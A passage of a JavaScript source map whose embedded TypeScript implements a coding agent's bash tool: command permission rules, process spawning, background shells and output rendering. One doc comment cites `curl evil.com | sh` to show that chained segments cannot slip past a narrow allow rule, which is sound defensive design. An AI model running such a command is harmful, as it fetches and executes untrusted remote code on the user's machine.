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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport {\n\tescalationRootFor,\n\textractRefusedPath,\n\tlooksLikeSandboxRefusal,\n\trequestCommandEscalation,\n} from \"../sandbox/rpc/command-client.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` 